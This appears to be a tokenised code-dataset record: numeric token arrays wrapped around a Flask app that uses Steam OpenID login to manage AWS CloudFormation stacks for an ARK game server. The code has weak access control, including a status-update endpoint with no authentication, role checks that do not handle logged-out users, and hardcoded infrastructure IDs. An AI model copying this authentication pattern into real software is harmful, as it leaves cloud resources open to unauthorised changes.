29962,
718,
17411,
29881,
737,
2941,
3658,
29899,
25932,
29899,
14037,
29899,
4703,
29899,
8771,
29915,
718,
900,
29881,
718,
8207,
9902,
29889,
3945,
29915,
13,
4706,
16766,
29918,
1445,
259,
353,
525,
4905,
29879,
22208,
718,
1904,
29918,
333,
29961,
4299,
29962,
718,
17411,
29881,
737,
2941,
3658,
29899,
25932,
29899,
14037,
29899,
4703,
29899,
8771,
29915,
718,
900,
29881,
718,
8207,
1688,
29918,
27711,
1080,
29889,
29886,
6321,
29915,
13,
4706,
921,
29918,
14968,
353,
10518,
29889,
949,
29918,
7638,
877,
1272,
29914,
1491,
7662,
29906,
29914,
8771,
29915,
718,
900,
29881,
718,
8207,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29918,
14968,
29918,
14037,
29918,
4703,
29889,
7638,
1495,
13,
4706,
921,
29918,
3084,
353,
10518,
29889,
949,
29918,
7638,
877,
1272,
29914,
1491,
7662,
29906,
29914,
8771,
29915,
718,
900,
29881,
718,
8207,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29918,
3084,
29918,
14037,
29918,
4703,
29889,
7638,
1495,
13,
4706,
921,
29918,
1688,
29871,
353,
10518,
29889,
949,
29918,
7638,
877,
1272,
29914,
1491,
7662,
29906,
29914,
8771,
29915,
718,
900,
29881,
718,
8207,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29918,
1688,
29918,
14037,
29918,
4703,
29889,
7638,
1495,
13,
1678,
1683,
29901,
13,
4706,
4078,
29918,
3972,
1678,
353,
525,
4905,
29879,
22208,
718,
1904,
29918,
333,
29961,
4299,
29962,
718,
17411,
29881,
737,
2941,
3658,
29899,
25932,
29899,
2541,
29899,
4703,
29899,
8771,
29915,
718,
900,
29881,
718,
8207,
29915,
13,
4706,
1121,
29918,
1445,
353,
525,
4905,
29879,
22208,
718,
1904,
29918,
333,
29961,
4299,
29962,
718,
17411,
29881,
737,
2941,
3658,
29899,
25932,
29899,
2541,
29899,
4703,
29899,
8771,
29915,
718,
900,
29881,
718,
8207,
9902,
29889,
3945,
29915,
13,
4706,
16766,
29918,
1445,
259,
353,
525,
4905,
29879,
22208,
718,
1904,
29918,
333,
29961,
4299,
29962,
718,
17411,
29881,
737,
2941,
3658,
29899,
25932,
29899,
2541,
29899,
4703,
29899,
8771,
29915,
718,
900,
29881,
718,
8207,
1688,
29918,
27711,
1080,
29889,
29886,
6321,
29915,
13,
4706,
921,
29918,
14968,
353,
10518,
29889,
949,
29918,
7638,
877,
1272,
29914,
1491,
7662,
29906,
29914,
8771,
29915,
718,
900,
29881,
718,
8207,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29918,
14968,
29918,
2541,
29918,
4703,
29889,
7638,
1495,
13,
4706,
921,
29918,
3084,
353,
10518,
29889,
949,
29918,
7638,
877,
1272,
29914,
1491,
7662,
29906,
29914,
8771,
29915,
718,
900,
29881,
718,
8207,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29918,
3084,
29918,
2541,
29918,
4703,
29889,
7638,
1495,
13,
4706,
921,
29918,
1688,
29871,
353,
10518,
29889,
949,
29918,
7638,
877,
1272,
29914,
1491,
7662,
29906,
29914,
8771,
29915,
718,
900,
29881,
718,
8207,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29918,
1688,
29918,
2541,
29918,
4703,
29889,
7638,
1495,
13,
268,
13,
1678,
565,
900,
29881,
1275,
525,
29896,
2396,
13,
4706,
954,
29918,
24530,
353,
938,
29898,
29906,
29955,
29929,
29896,
29945,
29914,
16175,
29918,
2311,
29897,
13,
1678,
1683,
29901,
13,
4706,
954,
29918,
24530,
353,
938,
29898,
29906,
29945,
29953,
29929,
29955,
29914,
16175,
29918,
2311,
29897,
13,
268,
13,
1678,
7945,
29918,
5085,
353,
426,
13,
4706,
525,
18091,
29896,
29953,
2396,
7700,
29892,
13,
4706,
525,
957,
3539,
29918,
4905,
29918,
3972,
2396,
5852,
29892,
29871,
13,
4706,
525,
3317,
29918,
11762,
29918,
2848,
2396,
4236,
29918,
11762,
29918,
2848,
29892,
13,
4706,
525,
21891,
29918,
10492,
2396,
301,
29878,
29892,
13,
4706,
525,
2536,
4821,
29918,
7165,
2396,
7700,
29892,
13,
4706,
525,
4905,
29918,
3972,
2396,
4078,
29918,
3972,
29892,
13,
4706,
525,
13318,
29918,
4299,
29918,
3972,
2396,
4078,
29918,
3972,
718,
525,
13318,
29918,
4299,
29914,
742,
13,
4706,
525,
24219,
403,
29918,
29881,
3864,
29918,
26495,
2396,
5852,
29892,
13,
4706,
525,
24219,
403,
29918,
29881,
3864,
29918,
26495,
29918,
24530,
2396,
954,
29918,
24530,
29892,
13,
4706,
525,
7620,
29918,
14513,
29918,
3198,
9748,
2396,
7700,
29892,
13,
4706,
525,
7620,
29918,
4299,
29918,
17991,
29918,
1022,
2878,
2396,
7700,
29892,
13,
4706,
525,
7620,
29918,
24530,
2396,
29871,
29945,
29900,
29900,
29900,
29900,
29900,
29892,
13,
4706,
525,
14968,
29918,
16175,
29918,
2311,
2396,
9853,
29918,
2311,
29892,
13,
4706,
525,
1949,
29918,
14968,
29918,
1022,
2878,
29879,
2396,
21502,
12168,
13,
1678,
500,
13,
268,
13,
1678,
1067,
29879,
29918,
4299,
353,
23236,
3195,
29898,
4299,
29918,
11922,
29961,
4299,
1402,
1904,
29918,
735,
627,
29918,
333,
29961,
4299,
1402,
6389,
29922,
14968,
29918,
5085,
29892,
274,
6191,
29918,
10141,
29922,
29883,
6191,
29897,
13,
1678,
1067,
29879,
29918,
4299,
29889,
14968,
29918,
4299,
29898,
29916,
29918,
14968,
29892,
19745,
29918,
2176,
29922,
29916,
29918,
3084,
29897,
13,
268,
13,
1678,
1067,
29879,
29918,
4299,
353,
23236,
3195,
29898,
4299,
29918,
11922,
29961,
4299,
1402,
4078,
29918,
3972,
718,
525,
13318,
29918,
4299,
29914,
742,
6389,
29922,
14968,
29918,
5085,
29892,
274,
6191,
29918,
10141,
29922,
29883,
6191,
29897,
13,
1678,
1121,
29892,
1904,
29918,
4905,
29879,
29892,
2743,
29918,
27711,
1080,
353,
1067,
29879,
29918,
4299,
29889,
14513,
29918,
4299,
29898,
29916,
29918,
1688,
29897,
13,
268,
13,
1678,
4450,
29879,
353,
7442,
29889,
1191,
3317,
29898,
4299,
29918,
4905,
29879,
29892,
29871,
29896,
29897,
13,
1678,
11073,
353,
921,
29918,
1688,
1839,
21134,
2033,
13,
13,
1678,
364,
353,
851,
29898,
1990,
2450,
29918,
12276,
29898,
21134,
29892,
4450,
29879,
29892,
13340,
29922,
29946,
876,
13,
1678,
1596,
313,
29878,
29897,
13,
268,
13,
1678,
364,
29888,
353,
1722,
877,
9902,
29914,
29881,
737,
2941,
3658,
29918,
1990,
2450,
29889,
3945,
742,
525,
29874,
1495,
13,
1678,
364,
29888,
29889,
3539,
29898,
710,
29898,
5085,
29897,
718,
11297,
29876,
29905,
29876,
1495,
13,
1678,
364,
29888,
29889,
3539,
29898,
29878,
718,
11297,
29876,
29915,
718,
17411,
29915,
29930,
29945,
29946,
718,
11297,
29876,
1495,
268,
13,
1678,
364,
29888,
29889,
5358,
580,
13,
268,
13,
1678,
364,
29888,
353,
1722,
29898,
2914,
29918,
1445,
29892,
525,
29874,
1495,
13,
1678,
364,
29888,
29889,
3539,
29898,
710,
29898,
5085,
29897,
718,
11297,
29876,
29905,
29876,
1495,
13,
1678,
364,
29888,
29889,
3539,
29898,
29878,
718,
11297,
29876,
29915,
718,
17411,
29915,
29930,
29945,
29946,
718,
11297,
29876,
1495,
268,
13,
1678,
364,
29888,
29889,
5358,
580,
13,
268,
13,
1678,
5839,
280,
29889,
15070,
4197,
2914,
29892,
1904,
29918,
4905,
29879,
29892,
2743,
29918,
27711,
1080,
1402,
1722,
29898,
15070,
29918,
1445,
29892,
525,
29893,
29890,
8785,
13,
268,
13,
2
] |
awsherder.py | Kahn/awsherder | 1 | 54810 | <reponame>Kahn/awsherder
from flask import Flask, request, redirect, session, json, g, render_template, flash, abort
from flask_sqlalchemy import SQLAlchemy
from flask_openid import OpenID
from flask_sslify import SSLify
from wtforms import Form, BooleanField, TextField, PasswordField, validators, SelectField
import urllib2
import werkzeug
import re
import logging
from logging.handlers import RotatingFileHandler
import boto.ec2
import boto.cloudformation
import time
import os
app = Flask(__name__)
app.config.from_pyfile('settings.cfg')
app.debug = app.config['DEBUG']
boto_logger = logging.getLogger('boto')
handler = RotatingFileHandler(app.config['LOG_DIR'] + '/' + __name__ + '.log', maxBytes=10000, backupCount=1)
if app.config['DEBUG'] == 'True':
handler.setLevel(logging.DEBUG)
boto_logger.setLevel(logging.DEBUG)
else:
# Force TLS and HSTS only in production
sslify = SSLify(app, permanent=True)
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)
db = SQLAlchemy(app)
oid = OpenID(app)
app.logger.info('App started with debug mode: {0}\nApp running with Flask: {1}'.format(app.config['DEBUG'],app.config['USE_FLASK']))
class Role(db.Model):
id = db.Column(db.Integer, primary_key=True)
role = db.relationship('User', backref='user')
name = db.Column(db.String(40))
@staticmethod
def get_or_create(role_name):
rv = Role.query.filter_by(name=role_name).first()
if rv is None:
rv = Role()
rv.name = role_name
db.session.add(rv)
return rv
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
steam_id = db.Column(db.String(40))
nickname = db.Column(db.String(80))
role_id = db.Column(db.Integer, db.ForeignKey('role.id'))
@staticmethod
def get_or_create(steam_id):
rv = User.query.filter_by(steam_id=steam_id).first()
if rv is None:
rv = User()
rv.steam_id = steam_id
db.session.add(rv)
return rv
@staticmethod
def create_user(steam_id,nickname,role_id):
rv = User.query.filter_by(steam_id=steam_id).first()
if rv is None:
rv = User()
rv.steam_id = steam_id
rv.nickname = nickname
rv.role_id = role_id
app.logger.info('Created user - steam_id: "{0}" nickname: "{1}"'.format(steam_id,nickname))
db.session.add(rv)
else:
app.logger.debug('Existing user - steam_id: "{0}" nickname: "{1}"'.format(steam_id,nickname))
return rv
class Instance(db.Model):
id = db.Column(db.Integer, primary_key=True)
instance_id = db.Column(db.String(80))
ark_process_status = db.Column(db.String(80))
ark_server_status = db.Column(db.String(80))
ark_version = db.Column(db.String(80))
@staticmethod
def get_or_create(instance_id):
rv = Instance.query.filter_by(instance_id=instance_id).first()
if rv is None:
rv = Instance()
rv.instance_id = instance_id
db.session.add(rv)
return rv
if app.config['DEBUG'] == 'True':
app.logger.debug('Dropping database')
db.drop_all()
db.create_all()
Role.get_or_create('Admin')
Role.get_or_create('User')
User.create_user(app.config['ADMIN_USER_STEAM_ID'],app.config['ADMIN_USER_STEAM_NICK'],1)
db.session.commit()
_steam_id_re = re.compile('steamcommunity.com/openid/id/(.*?)$')
class UserAdminForm(Form):
roles = []
for role in Role.query.all():
app.logger.debug('name: "{0}" id: "{1}"'.format(role.name,role.id))
r = role.id, role.name
roles.append(r)
app.logger.debug('Roles: {0}'.format(roles))
role = SelectField(u'User Role', choices=roles)
def authenticated_user():
if g.user is None:
return False
return True
def user_has_role(role_id):
authenticated_user()
app.logger.debug('g.user: "{0}"'.format(g.user.id))
user = User.query.filter_by(id=g.user.id).first()
if not user.role_id == role_id:
app.logger.debug('user_id "{0}" rejected by user_has_role() check rid {1} != {2}'.format(g.user.nickname,user.role_id,role_id))
return False
return True
def get_users(user_id):
if user_id:
users = User.query.filter_by(id=user_id).first()
elif user_id == False:
users = User.query.all()
else:
abort(500)
return users
def get_steam_userinfo(steam_id):
options = {
'key': app.config['STEAM_API_KEY'],
'steamids': steam_id
}
url = 'http://api.steampowered.com/ISteamUser/' \
'GetPlayerSummaries/v0001/?%s' % werkzeug.urls.url_encode(options)
rv = json.load(urllib2.urlopen(url))
return rv['response']['players']['player'][0] or {}
def get_ark_serverinfo(ipaddress):
app.logger.info('Checking remote ARK server status: {0}'.format(ipaddress))
ark_serverinfo = {}
# TODO - Really get some stats
ark_serverinfo['server_address'] = ipaddress
ark_serverinfo['process_status'] = "Offline"
ark_serverinfo['server_status'] = "Offline"
ark_serverinfo['current_version'] = "000000"
return ark_serverinfo
def get_aws_instances(instance_id):
statuses = False
conn = boto.ec2.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
if instance_id:
f = {}
f['instance-id'] = instance_id
f['instance-state-name'] = 'running'
f['instance-state-name'] = 'running'
instance = conn.get_only_instances(filters=f)
app.logger.debug('aws statuses {0}'.format(statuses))
if len(instance) >= 1:
ip_address = instance[0].ip_address
return ip_address
else:
return False
elif instance_id == False:
f = {}
f['instance-state-name'] = 'running'
statuses = conn.get_only_instances(filters=f)
app.logger.debug('running aws statuses {0}'.format(statuses))
instace_ids = []
for instance in statuses:
instace_ids.append(instance.id)
return instace_ids
else:
return False
def get_stack():
conn = boto.cloudformation.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
try:
stacks = conn.describe_stacks(app.config['APP_UUID'])
except:
stacks = []
if len(stacks) == 1:
stack = stacks[0]
app.logger.debug('Existing stack: {0}'.format(stack.stack_id))
return stack
else:
return False
def create_stack(parameters):
conn = boto.cloudformation.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
try:
stacks = conn.describe_stacks(app.config['APP_UUID'])
except:
stacks = []
if len(stacks) == 1:
stack = stacks[0]
instance_id = stack.outputs[0].value
app.logger.debug('Existing stack: {0} stack instace {1}'.format(stack.stack_id,instance_id))
app.logger.debug('Existing stack instance: {0}'.format(stack.outputs[0].value))
return instance_id
else:
# Create stack after all
tpl_file = open(os.path.join(os.path.dirname(__file__),'lib/cloudformation.json'))
cfn_template_body = tpl_file.read()
tpl_file.close()
stack = conn.create_stack(app.config['APP_UUID'],template_body=cfn_template_body,parameters=parameters)
app.logger.debug('cloudformation stack create: {0}'.format(stack))
return stack
def delete_stack():
conn = boto.cloudformation.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
try:
stacks = conn.describe_stacks(app.config['APP_UUID'])
except:
stacks = []
if len(stacks) == 1:
stack = stacks[0]
instance_id = stack.outputs[0].value
app.logger.info('Deleting stack: {0}'.format(stack.stack_id))
delete = stack.delete()
app.logger.debug('Delete: {0}'.format(delete))
return True
else:
abort(500)
def wait_for_snapshot_complete(snapshot_id):
conn = boto.ec2.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
inprogress_snapshot = conn.get_all_snapshots(snapshot_id)
app.logger.debug('waiting for snap {0} status {1}'.format(inprogress_snapshot[0].id, inprogress_snapshot[0].status))
if 'completed' in inprogress_snapshot[0].status:
return True
else:
return False
def image_from_instance(instance_id):
conn = boto.ec2.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
f = {}
f['name'] = app.config['APP_UUID']
amis = conn.get_all_images(filters=f)
if len(amis) == 1:
for ami in amis:
app.logger.debug('deleting ami: {0}'.format(ami.id))
try:
delete_ami = conn.deregister_image(ami.id)
except:
app.logger.error('deleting ami failed: {0}'.format(delete_ami))
f = {}
f['description'] = app.config['APP_UUID']
snapshots = conn.get_all_snapshots(filters=f)
if len(snapshots) == 1:
for snapshot in snapshots:
app.logger.debug('deleting snapshot: {0}'.format(snapshot.id))
conn.delete_snapshot(snapshot.id)
vols = conn.get_all_volumes(filters={'attachment.instance-id': instance_id})
volume = vols[0]
snap = volume.create_snapshot(app.config['APP_UUID'])
app.logger.debug('snap: {0}'.format(snap.id))
while True:
# conn = boto.ec2.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
app.logger.debug('waiting for snap {0} status {1}'.format(snap.id, snap.status))
if 'completed' in snap.status:
break
else:
time.sleep(10)
snap.update()
app.logger.debug('completed snap: {0}'.format(snap.id))
ami = conn.register_image(name=app.config['APP_UUID'],snapshot_id=snap.id,root_device_name='/dev/sda1',virtualization_type='hvm',architecture='x86_64')
app.logger.debug('ami: {0}'.format(ami))
return ami
@app.before_request
def before_request():
g.user = None
if 'user_id' in session:
g.user = User.query.get(session['user_id'])
try:
steamdata = get_steam_userinfo(g.user.steam_id)
except AttributeError:
app.logger.warning('Invalidated session missing steam data - user_id: {0}'.format(session['user_id']))
session.pop('user_id', None)
return redirect(oid.get_next_url())
g.user.nickname = steamdata['personaname']
g.user.avatar_url = steamdata['avatar']
app.logger.debug('steam_id: {0} steam_nickname: {1}'.format(g.user.steam_id, g.user.nickname))
app.logger.debug('steam_avatar_url: {0}'.format(g.user.avatar_url))
@app.route('/logout')
def logout():
session.pop('user_id', None)
return redirect(oid.get_next_url())
@app.route('/login')
@oid.loginhandler
def login():
if g.user is not None:
return redirect(oid.get_next_url())
return oid.try_login('http://steamcommunity.com/openid')
@oid.after_login
def create_or_login(resp):
match = _steam_id_re.search(resp.identity_url)
g.user = User.get_or_create(match.group(1))
steamdata = get_steam_userinfo(g.user.steam_id)
g.user.nickname = steamdata['personaname']
db.session.commit()
session['user_id'] = g.user.id
flash('You are logged in as %s' % g.user.nickname)
return redirect(oid.get_next_url())
@app.route('/users')
def users():
if user_has_role(1) or user_has_role(2):
return render_template('users.html', users=get_users(False))
else:
abort(401)
@app.route('/user/<user_id>', methods=['POST', 'GET'])
def user(user_id):
if user_has_role(1):
error = None
user = User.query.get(user_id)
form = UserAdminForm(obj=user)
app.logger.debug('form POST data {0}'.format(request.form))
# if request.method == 'POST' and form.validate():
if request.method == 'POST':
app.logger.debug('editing user {0}'.format(user.nickname))
user.role_id = request.form['role']
db.session.commit()
flash('Updated user_id {0} permissions'.format(user_id))
return render_template('user.html', user=get_users(user_id),form=form)
else:
abort(401)
@app.route('/')
def landingpage():
if g.user is None:
return render_template('login.html')
else:
return render_template('index.html')
@app.route('/instance_console')
def console():
if user_has_role(1) or user_has_role(2):
# app.logger.debug('starting aws instances: {0}'.format(start_aws_instances(False)))
stack = get_stack()
if stack == False:
return render_template('console.html')
elif stack.stack_status == 'CREATE_IN_PROGRESS':
flash('Stack is creating - please wait ... ')
return render_template('console.html', stack='error')
elif stack.stack_status == 'CREATE_COMPLETE':
flash('Stack is created!')
return render_template('console.html', aws_instances=get_aws_instances(False))
else:
error = 'Stack {0} status {1} invalid'.format(stack.stack_id,stack.stack_status)
return render_template('console.html',error=error,stack='error')
else:
abort(401)
@app.route('/instance/create')
def instance_create():
if user_has_role(1) or user_has_role(2):
authenticated_user()
stack = get_stack()
if stack == False:
conn = boto.ec2.connect_to_region(app.config['AWS_DEFAULT_REGION'],aws_access_key_id=app.config['AWS_ACCESS_KEY_ID'],aws_secret_access_key=app.config['AWS_SECRET_ACCESS_KEY'])
try:
f = {}
f['name'] = app.config['APP_UUID']
amis = conn.get_all_images(filters=f)
if len(amis) == 1:
for ami in amis:
boot_ami = ami.id
app.logger.debug('booting with ami {0}'.format(boot_ami))
else:
boot_ami = 'ami-9c1a42ff'
except:
boot_ami = 'ami-9c1a42ff'
p = [
('InstanceType','m4.large'),
('KeyName','yubikey'),
('AMI',boot_ami),
('SubnetId','subnet-760e6713 '),
('SecurityGroup','sg-fba5849e'),
('ElasticIpAllocationId','eipalloc-784a841d'),
]
stack = create_stack(p)
if 'arn' in stack:
flash('Creating new cloudformation stack '+stack)
return render_template('console.html', stack='error')
if 'i-' in stack:
return render_template('console.html', stack=stack)
else:
return render_template('console.html', stack=stack)
else:
abort(401)
@app.route('/instance/<instance_id>')
def instance_console(instance_id):
if user_has_role(1) or user_has_role(2):
authenticated_user()
serveraddress = get_aws_instances(instance_id)
instance = Instance.query.filter_by(instance_id=instance_id).first()
app.logger.debug('instance db {0}'.format(instance))
return render_template('instance.html', instance_id=instance_id, serveraddress=serveraddress, ark_serverinfo=instance)
else:
abort(401)
@app.route('/instance/<instance_id>/shutdown')
def instance_shutdown(instance_id):
if user_has_role(1) or user_has_role(2):
authenticated_user()
flash('AMI deleted: '+image_from_instance(instance_id))
stack = delete_stack()
if stack:
flash('Cloudformation stack deleted')
return render_template('index.html')
else:
abort(401)
@app.route('/instance/<instance_id>/update', methods=['PUT'])
def instance_update(instance_id):
instance = Instance.get_or_create(instance_id)
instance.ark_process_status = request.form['ark_process_status']
instance.ark_server_status = request.form['ark_server_status']
instance.ark_version = request.form['ark_version']
db.session.commit()
return 'OK'
if app.config['USE_FLASK'] == 'True':
if __name__ == '__main__':
app.run(debug=app.config['DEBUG'])
| [
1,
529,
276,
1112,
420,
29958,
29968,
5422,
29914,
1450,
845,
261,
672,
13,
3166,
29784,
1053,
2379,
1278,
29892,
2009,
29892,
6684,
29892,
4867,
29892,
4390,
29892,
330,
29892,
4050,
29918,
6886,
29892,
11013,
29892,
27450,
13,
3166,
29784,
29918,
2850,
284,
305,
6764,
1053,
3758,
2499,
305,
6764,
13,
3166,
29784,
29918,
3150,
333,
1053,
4673,
1367,
13,
3166,
29784,
29918,
16265,
1598,
1053,
17122,
1598,
13,
3166,
281,
29873,
9514,
1053,
3812,
29892,
11185,
3073,
29892,
3992,
3073,
29892,
25280,
3073,
29892,
2854,
4097,
29892,
7605,
3073,
13,
5215,
3142,
1982,
29906,
13,
5215,
23085,
13289,
13,
5215,
337,
13,
5215,
12183,
13,
3166,
12183,
29889,
3179,
9306,
1053,
9664,
1218,
2283,
4598,
13,
5215,
289,
3747,
29889,
687,
29906,
13,
5215,
289,
3747,
29889,
9274,
5404,
13,
5215,
931,
13,
5215,
2897,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
932,
29889,
2917,
29889,
3166,
29918,
2272,
1445,
877,
11027,
29889,
16859,
1495,
13,
932,
29889,
8382,
353,
623,
29889,
2917,
1839,
18525,
2033,
13,
29890,
3747,
29918,
21707,
353,
12183,
29889,
657,
16363,
877,
29890,
3747,
1495,
13,
13789,
353,
9664,
1218,
2283,
4598,
29898,
932,
29889,
2917,
1839,
14480,
29918,
9464,
2033,
718,
8207,
29915,
718,
4770,
978,
1649,
718,
15300,
1188,
742,
4236,
11207,
29922,
29896,
29900,
29900,
29900,
29900,
29892,
16199,
3981,
29922,
29896,
29897,
13,
361,
623,
29889,
2917,
1839,
18525,
2033,
1275,
525,
5574,
2396,
13,
1678,
7834,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
1678,
289,
3747,
29918,
21707,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
2870,
29901,
13,
1678,
396,
11004,
27658,
322,
379,
1254,
29903,
871,
297,
5802,
13,
1678,
24250,
1598,
353,
17122,
1598,
29898,
932,
29892,
17667,
29922,
5574,
29897,
13,
1678,
7834,
29889,
842,
10108,
29898,
21027,
29889,
11690,
29897,
13,
932,
29889,
21707,
29889,
1202,
4598,
29898,
13789,
29897,
13,
2585,
353,
3758,
2499,
305,
6764,
29898,
932,
29897,
13,
3398,
353,
4673,
1367,
29898,
932,
29897,
13,
13,
932,
29889,
21707,
29889,
3888,
877,
2052,
4687,
411,
4744,
4464,
29901,
426,
29900,
1012,
29876,
2052,
2734,
411,
2379,
1278,
29901,
426,
29896,
29913,
4286,
4830,
29898,
932,
29889,
2917,
1839,
18525,
7464,
932,
29889,
2917,
1839,
17171,
29918,
10536,
3289,
29968,
25901,
13,
13,
1990,
1528,
280,
29898,
2585,
29889,
3195,
1125,
13,
1678,
1178,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
6297,
353,
4833,
29889,
2674,
800,
4034,
877,
2659,
742,
1250,
999,
2433,
1792,
1495,
13,
1678,
1024,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29946,
29900,
876,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
679,
29918,
272,
29918,
3258,
29898,
12154,
29918,
978,
1125,
13,
4706,
364,
29894,
353,
1528,
280,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
978,
29922,
12154,
29918,
978,
467,
4102,
580,
13,
4706,
565,
364,
29894,
338,
6213,
29901,
13,
9651,
364,
29894,
353,
1528,
280,
580,
13,
9651,
364,
29894,
29889,
978,
353,
6297,
29918,
978,
13,
9651,
4833,
29889,
7924,
29889,
1202,
29898,
15291,
29897,
13,
4706,
736,
364,
29894,
13,
13,
1990,
4911,
29898,
2585,
29889,
3195,
1125,
13,
1678,
1178,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
21837,
29918,
333,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29946,
29900,
876,
13,
1678,
25985,
978,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29947,
29900,
876,
13,
1678,
6297,
29918,
333,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
4833,
29889,
27755,
2558,
877,
12154,
29889,
333,
8785,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
679,
29918,
272,
29918,
3258,
29898,
1655,
314,
29918,
333,
1125,
13,
4706,
364,
29894,
353,
4911,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
1655,
314,
29918,
333,
29922,
1655,
314,
29918,
333,
467,
4102,
580,
13,
4706,
565,
364,
29894,
338,
6213,
29901,
13,
9651,
364,
29894,
353,
4911,
580,
13,
9651,
364,
29894,
29889,
1655,
314,
29918,
333,
353,
21837,
29918,
333,
13,
9651,
4833,
29889,
7924,
29889,
1202,
29898,
15291,
29897,
13,
4706,
736,
364,
29894,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1653,
29918,
1792,
29898,
1655,
314,
29918,
333,
29892,
19254,
978,
29892,
12154,
29918,
333,
1125,
13,
4706,
364,
29894,
353,
4911,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
1655,
314,
29918,
333,
29922,
1655,
314,
29918,
333,
467,
4102,
580,
13,
4706,
565,
364,
29894,
338,
6213,
29901,
13,
9651,
364,
29894,
353,
4911,
580,
13,
9651,
364,
29894,
29889,
1655,
314,
29918,
333,
353,
21837,
29918,
333,
13,
9651,
364,
29894,
29889,
19254,
978,
353,
25985,
978,
13,
9651,
364,
29894,
29889,
12154,
29918,
333,
353,
6297,
29918,
333,
13,
9651,
623,
29889,
21707,
29889,
3888,
877,
20399,
1404,
448,
21837,
29918,
333,
29901,
29850,
29900,
5038,
25985,
978,
29901,
29850,
29896,
5038,
4286,
4830,
29898,
1655,
314,
29918,
333,
29892,
19254,
978,
876,
13,
9651,
4833,
29889,
7924,
29889,
1202,
29898,
15291,
29897,
13,
4706,
1683,
29901,
13,
9651,
623,
29889,
21707,
29889,
8382,
877,
1252,
15423,
1404,
448,
21837,
29918,
333,
29901,
29850,
29900,
5038,
25985,
978,
29901,
29850,
29896,
5038,
4286,
4830,
29898,
1655,
314,
29918,
333,
29892,
19254,
978,
876,
13,
4706,
736,
364,
29894,
13,
13,
1990,
2799,
749,
29898,
2585,
29889,
3195,
1125,
13,
1678,
1178,
353,
4833,
29889,
4409,
29898,
2585,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
2777,
29918,
333,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29947,
29900,
876,
13,
1678,
564,
29895,
29918,
5014,
29918,
4882,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29947,
29900,
876,
13,
1678,
564,
29895,
29918,
2974,
29918,
4882,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29947,
29900,
876,
13,
1678,
564,
29895,
29918,
3259,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29947,
29900,
876,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
679,
29918,
272,
29918,
3258,
29898,
8758,
29918,
333,
1125,
13,
4706,
364,
29894,
353,
2799,
749,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
8758,
29918,
333,
29922,
8758,
29918,
333,
467,
4102,
580,
13,
4706,
565,
364,
29894,
338,
6213,
29901,
13,
9651,
364,
29894,
353,
2799,
749,
580,
13,
9651,
364,
29894,
29889,
8758,
29918,
333,
353,
2777,
29918,
333,
13,
9651,
4833,
29889,
7924,
29889,
1202,
29898,
15291,
29897,
13,
4706,
736,
364,
29894,
13,
13,
361,
623,
29889,
2917,
1839,
18525,
2033,
1275,
525,
5574,
2396,
13,
1678,
623,
29889,
21707,
29889,
8382,
877,
29928,
307,
3262,
2566,
1495,
13,
1678,
4833,
29889,
8865,
29918,
497,
580,
13,
13,
2585,
29889,
3258,
29918,
497,
580,
13,
16727,
29889,
657,
29918,
272,
29918,
3258,
877,
12754,
1495,
13,
16727,
29889,
657,
29918,
272,
29918,
3258,
877,
2659,
1495,
13,
2659,
29889,
3258,
29918,
1792,
29898,
932,
29889,
2917,
1839,
3035,
16173,
29918,
11889,
29918,
1254,
29923,
5194,
29918,
1367,
7464,
932,
29889,
2917,
1839,
3035,
16173,
29918,
11889,
29918,
1254,
29923,
5194,
29918,
29940,
2965,
29968,
7464,
29896,
29897,
13,
2585,
29889,
7924,
29889,
15060,
580,
13,
13,
29918,
